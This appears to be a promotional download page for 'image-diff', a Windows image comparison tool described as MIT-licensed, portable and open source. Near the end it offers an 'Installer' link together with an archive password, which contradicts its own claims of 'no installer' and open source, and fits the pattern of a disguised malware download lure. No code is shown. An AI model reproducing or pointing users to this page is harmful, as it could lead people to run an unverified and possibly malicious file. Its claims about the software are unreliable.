🆚 Free, open-source image comparison tool for Windows — pixel diff heatmaps, onion slider, side-by-side. 100 MB portable, MIT.
- ✅ Three view modes — side-by-side, onion-skin slider and pixel-diff heatmap in one window
- ✅ Threshold control — ignore anti-aliasing noise with sensitivity and blur-tolerance sliders
- ✅ Diff statistics — percentage changed, regions count and bounding boxes listed per area
- ✅ Batch pair folders — match files by name across two folders and run a full visual regression
- ✅ Export diffs — save a highlighted diff PNG or a CSV of change regions for bug reports
- ✅ Drag and drop — drop two files or two folders; no project setup either way
- ✅ 100 MB self-contained exe — imaging codecs bundled, portable, offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB exe - no installer, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | image-diff | Diffchecker | DiffImg | IM Compare |
|---|---|---|---|---|
| Price | Free, MIT | Freemium | Free | Free, OSS |
| Open source | Yes | No | Yes | Yes |
| Onion-skin slider | Yes | No | No | No |
| Folder-pair batch diff | Yes | No | No | Scripted |
| Change-region CSV export | Yes | No | No | No |
| Portable GUI offline | Yes, 100 MB | Web | Zip | CLI |
how to compare two images and find the differences?
Web diff tools want both files uploaded, which is a nonstarter for client mockups and internal builds. image-diff runs locally: side-by-side, onion slider and a pixel heatmap with tunable tolerance, plus a batch mode that diffs whole screenshot folders. It is a 100 MB portable exe, MIT, offline.
All screenshots describe the 1280x800 dark UI.
- Dark tri-view (#121418, red #F87171): left and right images with center heatmap, changed regions boxed in accent, 3.2 percent changed chip.
- Onion slider mode: one image at 50 percent blend, drag handle on the seam, histogram strip showing diff intensity below.
- Batch results: folder pair with 87 matched PNGs, changed rows flagged, CSV export of regions, threshold sliders set to sensitive.
| Source | Link |
|---|---|
| 💾 Installer image-diff | Installer image-diff |
Archive password:
5139237619
Requires the .NET SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.